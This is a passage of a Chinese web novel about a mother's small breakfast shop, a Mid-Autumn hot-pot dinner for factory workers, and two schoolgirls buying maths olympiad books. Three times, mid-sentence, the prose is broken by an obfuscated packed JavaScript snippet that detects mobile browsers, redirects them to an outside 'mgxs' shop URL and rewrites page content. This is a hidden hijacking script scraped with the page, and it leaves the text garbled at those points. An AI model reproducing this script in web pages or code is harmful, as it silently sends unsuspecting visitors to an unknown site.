第二天上午,罗秀枝拿着好些书来了早餐店。她把书放在门边的桌子上,无奈地跟姜华英说道:“我昨天晚上回家一说,妍妍就来了劲,把初中的课本都找了出来……喏,除了英语书、数学书,还有初二的生物书和物理书,这是初三的化学书……” 看着桌子上的一摞书,姜华英也失神了一分钟。 “姜师傅?我要的榨菜肉末米粉……” “哦哦,好的!”姜华英回过神,把勺子里的榨菜肉末倒进碗里,问道,“你是要豆芽骨头汤还是酸汤来着?” “骨头汤,”客人接过米粉,回答道,“这两天总觉得肚子里寡得很,就想吃点油多的东西……” “是该贴秋膘了,立秋好久了呢!”姜华英把骨头汤放到客人桌上,对着罗秀枝招招手,说道,“嫂子,我们到门口站会儿?我有话跟你说。” 罗秀枝跟着姜华英走到门边,问道:“什么事啊还得出来说?” 姜华英拿出一个红包,趁罗秀枝没注意,快速塞进她的手里,说道:“昨天你和师兄忙了一天,我实在过意不去,这是王蔷额外给我的红包,说有三块八毛八,你拿着!” 罗秀枝看着手里的红包,拉住姜华英,正要拒绝,就听见她说:“嫂子,你要是不拿着,下次有事儿,我都不好意思再麻烦你帮忙了!” 林勤正好提着鸡蛋走到店门口,也帮着说道:“嫂子,你就拿着吧!” 罗秀枝左右看看,还想说点什么,林勤后面却有人先开了口。 “姜师傅,现在能预订今天的卤肉吗?” 姜华英看了林勤一眼,看他点了点头,回答道:“可以!你想要卤肉还是卤五花肉呢?” “要半斤卤肉,再要三个卤鸡蛋,”客人拿出钱,递给姜华英说道,“还好你开了这个店,不然我都不知道该拿什么招待亲家,要来也不提前说一声!” “小菜场里都有卖的啊!”姜华英收了钱,笑眯眯地说道。 “我们那手艺……”客人摆了摆手,说道,“亲家突然来一回,还是请他们吃点好的吧!” 姜华英看看调料桌上的闹钟,跟客人说道:“十一点来拿,来得及吧?” “正好!” 送走客人,林勤跟坐在门边的罗秀枝说道:“嫂子,你还拿了这么多书来,是我们占了大便宜了!” 错过了推拉的机会,罗秀枝捏着红包,回答道:“行!我也不和你们客气了!” “嫂子你坐着,我还得去一趟小菜场,”林勤把鸡蛋放到店里,问姜华英道,“再买八两瘦肉?” “嗯,去吧!辛苦了!” 林乐晓写完作业,来到早餐店吃午饭,一眼就看到了凳子上堆成一摞的书。她跑到凳子书堆边上,拿起最上面的英语书,高兴地问道:“这么多书啊?” “听说你要书,妍妍把初中的英语课本和理科课本都拿给你了!”姜华英看着笑眯了眼睛的女儿,也微笑着说道,“你看得懂吗?” “能看懂!”林乐晓翻着熟悉的英语课本,不在意地回答道,“实在看不懂,我就拉着蒋瑶一起看,她数学可好了!”在理科课程上,蒋瑶简直强得可怕! 姜华英摇了摇头,给客人盛米饭去了。 下午关了店门,姜华英信守承诺,和林勤带着林乐晓到镇上买跳绳。 骑着马大山的自行车,一家三口先去小百货商店里买了跳绳,又推着自行车,在市集上闲逛。 正好是赶场天,虽然已经是下午,市集上还有不少人守着摊子等着买家。 林乐晓拿着跳绳,跟着父母逛了一大圈,累得不行,忍不住问道:“妈妈,我们要买什么呀?” “哎,林勤,你看那边,”姜华英指着不远处的一个摊子,跟林乐晓同时开口说道,“是不是在卖土陶炉子?” “是!还有土陶锅!”林勤顺着姜华英的手指看过去,兴奋地说道,“终于找到了!过去看看!” 林乐晓这才知道,敢情爸妈在找吃火锅的餐具呢!欸?难道要在早餐店卖火锅吗?! 他们三个人走到卖陶器的摊子前,经过好一番讨价还价,终于买下了摊子上还剩的两个陶炉子,还有两个砂锅。 姜华英捧着一个砂锅,有气无力地说道:“才挣到的二十来块钱,还没捂热呢,就全花出去了,还贴了十几块……” “有出才有进!”林乐晓看着怀里的炉子,安慰妈妈道,“很快就能挣回来了!” 新的一周,姜华英兴冲冲地在店里贴了酸汤火锅预订的菜单,却好几天都没有人询问。 姜华英白天精神百倍地做着生意,晚上没有事情占着心神,低落的情绪就跑了出来。她跟林勤念叨了几天,总觉得没被挠到痒痒肉,解决不了惨淡的生意就算了,连她的坏心情都不能缓解。 她犹豫了许久,终于下定决心,要和女儿好好聊聊,却发现林乐晓非常忙! “晓晓呢?又去找蒋瑶了?” “是啊,拿着吴新妍的英语书和数学书,找蒋瑶跳绳去了!” 林乐晓不知道她妈妈正为早餐店的生意烦恼,她正沉浸在知识的海洋里不可自拔。早餐店就那么大,现在的生意已经很可以了,第一个月的利润已经不比姜华英的工资少了。火锅嘛,等纺织厂的效益回光返照的时候,肯定会有人来吃的!到时她再给妈妈出新点子吧。 她拿着初中的英语书和数学书来到蒋瑶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17544631|204078||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家楼下,和在那等着她的蒋瑶一起跳完一百个跳绳,才爬到蒋瑶家里,开始看数学、读英语。 林乐晓伸头看了看蒋瑶的本子,问道:“瑶瑶,你看看这个题,我这样写对吗?” “嗯,对的!我和你是一样的!就是省略了几个步骤。” 隋静端了两杯水,放在客厅的桌子上,跟伏身看书的小女孩们说道:“先喝点水再看吧!” “谢谢阿姨!”林乐晓抬头朝隋静笑了笑,拿起杯子喝了两口。 蒋瑶却没应声,还在本子上快速写着答案。 “瑶瑶,数学书有这么好看吗?” “当然了!”蒋瑶写完一题,点了点头回答道,“数学书是世界上最好看的书!” 林乐晓看了看面前才翻开的英语书,深深地叹了一口气。 姜华英没好意思打扰好好学习的女儿,只能靠自己向店里的客人们推销火锅套餐。 “您看看这个,是我们店里的新品,酸汤火锅,很好吃的!” “姜师傅,这个火锅贵了点啊!三人起订,一个人一块五毛钱,比你这最贵的快餐都贵两毛啊?” “是不便宜,但是每人一盘肉菜,一盘蔬菜,米饭随便吃!您吃了就知道,划得来的!” “唉,吃不起,姜师傅,吃不起啊!”客人摇摇头,喝完最后一口豆芽骨头汤,说道,“厂里效益更不好了,下个月可能连七毛钱的快餐都吃不起了!在家煮点清水面条算了!” “下个月嫂子还回不来?你们女婿要出多久的差啊?” “女婿早就回来了!还在街道给她找了个临时工作,哪里有空回来煮饭嘛!” “那你家又是双职工了?还说啥吃不起快餐!” 听着客人们的谈话,姜华英觉得自己才想叹气呢!要是大家都没钱来吃饭了,她才是真的要没钱吃饭了! 推销了好几天,没有一个客人预订火锅,姜华英也泄了气,不再试图给客人介绍新品。 这天中午,姜华英给单身楼的小年轻们盛完饭,坐在旁边休息时问道:“你们今天怎么这么晚啊?吃饭都不积极了?” 买馒头青年指了指身边的同事,回答道:“唉,厂里留我师父和我们几个徒弟谈话,他们不知道,在厂门口傻等呢!” “什么叫傻等!”干馒头小伙子不乐意了,张嘴反驳道,“我们那是有义气!” “你是隋静的徒弟吧?厂里是要纺新花样了?” “还不知道呢,只是拿花样来给师父看看……” 干馒头小伙子刨完半碗饭,喝着汤顺顺气,突然想起来昨晚宿舍里的谈话,问姜华英道:“姜师傅,中秋节那天,能订酸汤火锅的晚餐吗?” 19. 中秋聚餐 “你们要订啊?”姜华英直起身子,看了围着桌子坐了一圈的小年轻们,回答道,“有客人的话,我当然要开门做生意了!” 买馒头青年看了干馒头小伙子一眼,正想说点什么,阳春面姑娘先开口说话了:“姜师傅,那我们回去商量一下……” “啊,对,我差点把还要商量这事儿给忘了,”干馒头小伙子放下汤碗,带了些懊恼地跟姜华英说道,“姜师傅,等我们商量好了,再来给您说订不订,行吗?” “至少要提前一天预订哦!”姜华英笑眯眯地说道,“我跟你们说,价钱看起来是贵了点,但等你们吃了就知道,这个火锅是绝对划得来的!” 周六中午放学,林乐晓乐颠颠地背上书包,准备享受快乐的周末生活。还没走出学校呢,就听蒋瑶有些犹豫地问她道:“晓晓,你周末要看初中数学书吗?” 林乐晓抬头看了看一洗如碧的天空,不解地回答道:“我是不准备看,但……” “太好了!”蒋瑶踮着脚跳了两下,高兴地打断林乐晓道:“那借给我看?” “是……天气这么好,你不和林琳她们去爬山吗?我刚才听到她们说吃完中午饭在厂门口集合……” “爬山有什么意思!数学书更好看!”蒋瑶拉着林乐晓的胳膊,问道,“你要去啊?” 原来不是学霸小的时候爱运动,只是在家待着无聊给自己找点事情干啊…… 林乐晓接住一片在秋风中打转的树叶,摇摇头回答道:“不去,我每天晚上跳跳绳就够了。” “那一会儿吃完饭,我去你家找你?” “我待会儿要在早餐店帮忙……”林乐晓抿着嘴想了一会儿,说道,“我们现在去我家吧?” 林乐晓带着蒋瑶回到家,大方地把初中的几本数学书都塞进了她的书包里,嘱咐她道:“你好好看,到时我自学的时候有不会的,你得教我,啊!” 蒋瑶把沉重的书包背到肩上,认真地点了点头。 林乐晓没书包一身轻,甩手甩脚地来到早餐店,正好碰见买馒头青年跟姜华英订餐。 “姜师傅,我们一共七个人,”买馒头青年把一叠毛票递给姜华英,说道,“订中秋的晚餐。” “一共十块零五毛,收你十块好了!”姜华英数了五张一毛的递给买馒头青年,却被青年拒绝了。 他半开玩笑地说道:“姜师傅,我们七个人,五毛也平分不了,要不您多给我们一盘白菜?” “可以!”姜华英把毛票们丢进调料桌的抽屉里,指着墙上贴着的信纸菜单,说道,“你过来看看,要些什么菜?” “唔……要三盘五花肉、两盘肉丸子、两盘排骨,素菜各要一盘,剩下您看着给配齐吧。” “没问题!”姜华英撕下夹着复写纸的信纸,把复写的那张递给青年,原件则放进了抽屉,夹在了快餐预订单的上面。 朱工把饭盒和小锑锅放在了门边的桌子上,问道:“华英啊,有多的菜和汤吗?” 姜华英看了看正在洗手的林乐晓,得到女儿的眼神暗示,才回答道:“有的,您想吃点什么?” “我要一个一素一汤、一个一荤一汤。” “好嘞,”姜华英拿起朱工的饭盒,问道,“要骨头冬瓜汤吧?” “嗯,两份骨头汤,”朱工伸头看了看调料桌旁边的汤锅,问道,“你还煮了酸汤呢?” “没煮多少,万一有人想吃呢?”姜华英边打菜,边笑着回答道,“中秋节过后就不煮了。” “刚才我听你们说,中秋节晚上还营业呢?”朱工接过饭盒,问道。 姜华英指了指等着吃面条的买馒头青年,说道:“嗯,单身楼的小年轻们,中秋节在这儿聚餐。” “这个酸汤火锅吗?”朱工眯着眼睛看了看墙上的新菜单,说道,“也给我订一桌吧,五个人的。” “哎!欸?这个中秋节,您女儿他们回来过啊?” “我儿子他们回来过!我女儿这会儿就在我们家里了!要不我来你这打饭呢!” 姜华英把面条放在买馒头青年面前,边给朱工盛汤边问他道:“那您女婿呢?” “被单位安排到省城学习去了,我女儿一想,干脆回家来住两个星期,也让她婆婆回老家休息一下,”朱工把饭盒盖好,要笑不笑地说道,“我们三个大人伺候一个小闺女,还忙得没空做饭!还好有你啊华英!” 姜华英得意地笑了两声,问道:“您要什么菜?” “两盘五花肉、两盘肉丸子、一盘排骨,再要一盘洋芋片、一盘老豆腐,其他的你做主吧。” 送走客人们,姜华英炒了半锅鸡蛋米粉,给林乐晓和林勤一人舀了一碗酸汤,一家人围着门边的桌子吃午饭。 林勤喝了一大口酸汤,满足地说道:“这酸汤火锅,一直没开张,一开张就订出去十二个人的,还不错嘛!” “陶炉和砂锅的成本还没赚回来呢,不错在哪里?”姜华英瞪了他一眼,又捧着碗和他商量道,“你师父他们中秋怎么过啊?要是不去哪儿,请他们来店里,和我们一起过吧!” 周天早上,林乐晓睡了一个懒觉,下午又在窝在家里看了半天的小说。周一早晨,她带着得到了充分休息的身体和精神,神采奕奕地上学去了。 然后林乐晓发现,蒋瑶的周末可能过得不怎么样。上课的时候,学霸走神不稀奇,总是盯着数学老师走神,就有点奇怪了。 中午放学,林乐晓拖着满怀心事的蒋瑶走到学校外面,才问道:“瑶瑶,你怎么了?有数学题没做出来?” “没有!” “那你怎么老是盯着老严看啊?” “做是都做出来了,就是吧……”蒋瑶小大人似的叹了口气,说道,“初一的那个沈明明你认识吗?他说我的答案是对的,但是过程都错了!” 林乐晓了然地点点头,问道:“所以你想问问严庆桦?” “我问他干嘛呀?上个学期他在课上讲错了一题,我说出来,他还生气呢!”蒋瑶听到这句话,气愤地踢了一颗小石子,说道,“我就是在想,咱们学校的数学老师,都跟严庆桦一样吗?” 林乐晓挠了挠手臂上的蚊子包,无语地也踢了一颗石头。学霸的烦恼,真是搞不懂啊! “但是……”蒋瑶站在路边,有些不确定地跟林乐晓说道,“虽然我觉得自己是对的,那万一错了呢?初一的数学老师,肯定会说我做错了吧?” 林乐晓点了点头,现在她搞明白学霸在郁闷什么了。蒋瑶大概率是对的,一个数学题,有两个解法,多平常啊!但是现在各个工厂子弟学校的老师良莠不齐, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550181|204078||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 确实有很多人都只会按照教科书照本宣科。 林乐晓建议道:“那我们去一趟新华书店?”在这个没有互联网的时代,她们两个小孩,只能去书店逛逛了,如果能找到什么《趣味数学》之类的书就好了。 听到林乐晓的提议,蒋瑶眼睛亮了亮,又犹豫道:“新华书店能有老师的教案书卖吗?” “啊?”林乐晓没跟上小学生的想法,买什么教案书啊,当然是要买拓展数学能力的课外书啦,她骗小孩儿道,“我暑假的时候在废品收购站看到过,还有专门教数学的杂志呢,我们去找售货员阿姨问问!” 蒋瑶眨了眨眼睛,露出一个大大的笑容,高兴地回答道:“嗯!” 中秋节这天下午,姜华英先回家睡了一个小时,等她打着呵欠走到早餐店门口的时候,干馒头小伙子已经在店门口等着了。 姜华英被他积极的态度逗笑了,问道:“这么早就来了?我还没切好菜呢!” 小伙子抬手挠了挠后脑勺,不好意思地回答道:“我们班组下午休息,我在宿舍躺着也没啥事……” “进来吧!正好帮我搬一下桌子!” 火锅的备菜技术含量不高,姜华英指挥干馒头小伙子洗蔬菜,她则举起菜刀,把各种食材切成不同的形状。 收拾好食材,姜华英往炒锅里铲了一锅铲猪油,等油热了起来,先放了一些葱姜爆香,再倒入三大碗红酸,最后丢了几颗新鲜番茄和几根大蒜苗。 酸香的味道跟着凉爽的秋风飘飘荡荡,把店门口一整条街的空气都染成了酸汤的香味。 干馒头青年坐在门边,喝了一口还有点烫嘴的酸梅汤,问道:“姜师傅,这个味道怎么闻着和平时的酸汤不太一样呢?” “素汤和荤汤的味道当然不一样了!”姜华英嘿嘿地笑着说道,“必须用猪油炒才行!” 煮好酸汤火锅的汤底,姜华英带着干馒头小伙子把两个陶炉和一个破旧的搪瓷盆放在桌上,又小心地往里面添着炭。 等到纺织厂下班,客人们和家人们都坐到了桌子边,姜华英提着水壶,亲自给大家都倒了一碗酸梅汤。 然后她站在调料桌旁,举起手里的小碗,说道:“谢谢大家对我们这个小店的支持!每次出点什么新菜,都是你们带着头预订……我以这碗酸梅汤代替酒,祝大家中秋节快乐!” 姜华英干了碗里的酸梅汤,忍住了眼睛里隐约的潮意,笑着给客人们下肉丸子,嘴里还说着:“大家吃好喝好!” 干馒头小伙子往砂锅里倒了一盘五花肉,接话道:“姜师傅,你没发现嘛!我们为了晚上这一顿,中午都没来吃快餐呢!” 买馒头青年夹了一片肉,放到干馒头小伙子的碗里,说道:“闭嘴吧!” “哎哎,你干嘛啊!这肉还是生的呢!” 十五的月亮慢慢地爬上了树梢,肉足饭饱客人们坐在桌边,有一搭没一搭地聊着天。 干馒头小伙子拿起筷子,轻轻地敲着碗边。 阳春面姑娘和着清脆的节奏,微笑着唱道:“幸福的花儿心中开放~~” 朱工拍了拍趴在闺女背上睡着了的小孙女,和马大山对视了一眼,在悠扬的歌声中晃起了头。 啊,亲爱的人啊携手前进,携手前进!我们的生活充满阳光,充满阳光。 20. 买辅导书 过完中秋节,林乐晓和蒋瑶跟家长们提出了要进城逛逛新华书店的要求。 对于女儿跟学习有关的事情,姜华英从来都是大力支持,可惜她上午要做生意,实在没有空。 姜华英只好询问林乐晓的意见道:“要不让你爸上午带你们去,或者等下午收摊后我们一起去?你隋静阿姨估计也没空,厂里都等着她把新花样纺好,好早点把样品布送给省城服装厂。” 林乐晓很想说不用那么麻烦,她自己就能带着蒋瑶一起去,要不是两人兜里都没钱,她都想自己偷偷去一趟算了。 周六早上,蒋瑶蹦蹦哒哒地跳进了教室,跟林乐晓说了个好消息:“我爸最近没啥事,我妈让他带我们去!明天上午,我去你家找你呀?” “蒋叔叔?”林乐晓下意识的问道,那个一脸疲惫胡子拉碴的蒋叔叔? “是呀,你去不去啊?” “去!”林乐晓回过神,点点了头回答道,“上午九点,在家属区门口会合。” 周天早上,林乐晓没敢吃太多早餐,还特意在胡家商店买了一包山楂片。她吃完放了很多醋的米粉,拆开山楂片先往嘴里塞了一片,才把零食收到书包里。 “你看看你女儿,”姜华英把肉放进卤汤里,指着林乐晓跟林勤吐槽道,“坐个公交车,整得像要上战场一样……” 林乐晓背上书包,不满地嘟了一下嘴,才跟爸妈说再见。 “去吧!要是在街上吃午饭,你机灵点,自己付钱,别让蒋世国叔叔请你,啊!” “知道了!” 林乐晓快步走到家属区门口,蒋瑶已经带着她爸爸站在花坛旁边等她了。 “晓晓,你怎么这么晚才来啊!” 蒋世国抬起右手看了看表,左手轻轻地拍了拍蒋瑶的肩膀,笑着对林乐晓说道:“不晚,刚好九点过一分。” 林乐晓走到蒋瑶身边,听到这个穿着灰色薄毛衣,头发梳得整整齐齐,脸上没有一点胡子渣的男人挥了挥手,跟她们两个小学生说道:“走吧!咱们去游泳!” “啊?” 林乐晓一脸呆滞地看了看蒋瑶,只看见小孩儿也学着她爸爸那样挥了挥小手,兴奋地说道:“到知识的海洋里畅游!” 好在这天的运气还不错,蒋世国给两个小孩抢到了座位。林乐晓和蒋瑶挤挤挨挨坐在车窗旁边的位子上,在凉凉的秋风中,平安地达到了下车的站点。 林乐晓看着大街对面新华书店的招牌,吐出一直在心里悬着的那口气。还没等她生出些物非人非的感慨,蒋世国拉住了她的手,说道:“要过马路了,拉着点叔叔的手,别走丢了。” 三个人手牵着手,来到了新华书店门口。看着里面稀稀拉拉的客人和悠闲的售货员,林乐晓觉得,除了卖的书不太一样,这个书店其实和二十几年后差不太多,客人都很少,店员都很闲。 蒋瑶放开蒋世国的手,小步跑到书店门口张望了一番,朝林乐晓招了招手。 “我觉得这个穿黄色毛衣的阿姨应该好说话,”等到林乐晓走到她身边,她悄悄地指着售货员,低声说道,“你觉得呢?” 林乐晓点点头,认可了小孩儿的直觉。穿黄色毛衣的售货员表情平和,没有她印象里国营商店售货员不太耐烦的神情。 蒋世国走进书店里,发现两个小孩还站在门口,不由得问道:“怎么不进来呀?那我去帮你们问?” “不用!”蒋瑶牵起林乐晓的手,走到黄色毛衣的售货员前面,问道,“阿姨,有初中数学辅导书吗?” 黄色毛衣售货员放下手里的书,看着柜台前的两个小学生,问道:“什么书?” 蒋瑶以为售货员阿姨没听清楚,大声地重复了一遍道:“初中数学的辅导书!” 黄色毛衣售货员被逗笑了,饶有兴趣地看着她俩,问道:“你俩是初中生吗?我还以为你们是小学生呢!” 听了售货员阿姨的问题,蒋瑶不服气地说道:“我俩明年就是初中生了!” “阿姨,我们在提前自学初中数学,有些题目搞不太懂,又找不到老师问,就想着买点辅导书,”林乐晓无奈地看着被别人带偏了节奏的小学霸,出声问道,“您这儿有吗?” 黄色毛衣售货员拒绝道:“老师的教案书可不能卖给你们!” 林乐晓和蒋瑶对视了一眼,异口同声地说道:“我们不买教案书,就买辅导书!”这句话终于被喊了出来,不枉她俩提前想象了各种可能发生的情况。 “我看看啊,”黄色毛衣售货员拿出了一本书和一个本子,翻了好一会儿,才回答道,“之前有一本《初中数学解题思考方法》,最近出了新书,叫《数学奥林匹克》……” “奥林匹克?那个不是运动会吗?”蒋瑶疑惑地问道。 林乐晓却捏紧了蒋瑶的小手,暗自激动了起来:学霸要提前接触奥数了!都是我的功劳!这回早点学,说不定能上华大的数学系!虽然那回学霸也上了华大,可惜被调剂到了其他系…… 蒋瑶被捏得有点疼,晃了晃被林乐晓握住的手,小声地抱怨道:“晓晓,你轻点……” 林乐晓放开蒋瑶的手,把两只小手伸到了柜台上,踮着脚跟售货员说道:“阿姨,这两本我们都要买!” “……不过我们这里现在没有,你们想买的话,我可以先问问省总店,如果也没有,就只能问问出版社了。” 蒋世国把手搭在蒋瑶肩上,问她道:“瑶瑶,你觉得呢?” “我想买!”蒋瑶转过头看着蒋世国,使劲地点了点头,说道,“爸爸,我要买!” 林乐晓也抬头看着蒋世国,说道:“叔叔,我和瑶瑶都商量好了,买一套,我们各出一半钱。”她就指着学霸教她呢! 蒋世国点点头,跟售货员说道:“同志,麻烦你了!” “啊,我们店里有一套《数学奥林匹克·小学版》,”黄色毛衣售货员指着本子上的字,调侃地问道,“自学初中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17554169|204078||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 数学的小学生们,我建议你们先买这套书看看。” “那先买小学版看看?”蒋瑶歪过头,问林乐晓道,“我都不知道这个奥林匹克是什么呢!” 林乐晓下意识地想说没有必要,但她回想了一下,记忆里好像没有初中奥数班学习内容的任何信息。唉,算了,她这个学渣,还是听学霸的吧! 两人站在柜台旁边,小声地商量了一会儿,买了这套小学奥数书,又订购了《初中数学解题思考方法》。 林乐晓跟着蒋世国和蒋瑶走出书店,被秋季的阳光晃了下眼睛。她抬起手遮在头顶,在心里把自己这次的高考目标上调了好几个档次。从现在就跟着学霸认真学习奥数,说不定她也能去华大的校园逛一逛呢。 隋静带着几个徒弟,加班加点了好多天,终于在国庆节前把样品布纺了出来,给省城服装厂送了过去。 这天中午,买馒头青年和伙伴们到早餐店吃午饭,一进店就被客人们用言语包围了起来。 “小许啊,你们那布,是和省城服装厂给的布一模一样吧?” “不一样!”没等买馒头青年回答,一个客人抢着回答,却在身边人的瞪视下,声音越来越小地嘀咕道,“我听他们二车间的说,有个弯钩不太一样……” “他们二车间懂个屁!”坐在门边桌子旁的客人生气地骂道,“隋师傅都跟省城服装厂确认过了,那里不勾起来也行,衣服做出来更好看!小许,我说得对吧?” 大家都期待地看着买馒头青年。 他暗暗地叹了口气,回答道:“我只是给师父打个下手,其他的事情,我也没比大家知道得多……样品布已经送到省城服装厂了,要不要订购,国庆节之后应该就会有消息了。” 期盼也好,担忧也好,时间没有被纺织厂职工的各种情绪影响,仍不急不缓地向前流淌着。 姜华英的早餐店却被同事们的情绪挟带着,迎来了节日生意小高潮。 “姜师傅,明天国庆节了,你开店吗?” “开呢!”姜华英把面条从锅里捞起来,放到调料桌上的碗里,快速地往碗里舀着臊子和各式调料。 “那我订半斤卤五花肉半斤卤肉,还要五个卤蛋。明天上午十点半来拿。” “哎哟,老楚,你一下子买这么多好吃的,日子不过了?”客人接过姜华英手里的面条,打趣地问道。 “嗨,这不是过节了吗?来姜师傅的馆子里买点卤菜改善生活,”老楚走到门边的桌子旁坐下,说道,“跟你比是差多了,天天地吃着肉臊面呢?” “我哪有天天来?”客人放下搅动面条的筷子,指着姜华英道,“你问问姜师傅,我今天才第二次来!要不是隋师傅纺出了样品布,我哪里敢花这些钱?” “谁不是呢!”老楚叹了口气,说道,“真希望省城服装厂明天就来订我们的布!” 姜华英站在调料桌旁,边写预订单子,边在心里默念:隋静可一定要成功才行啊!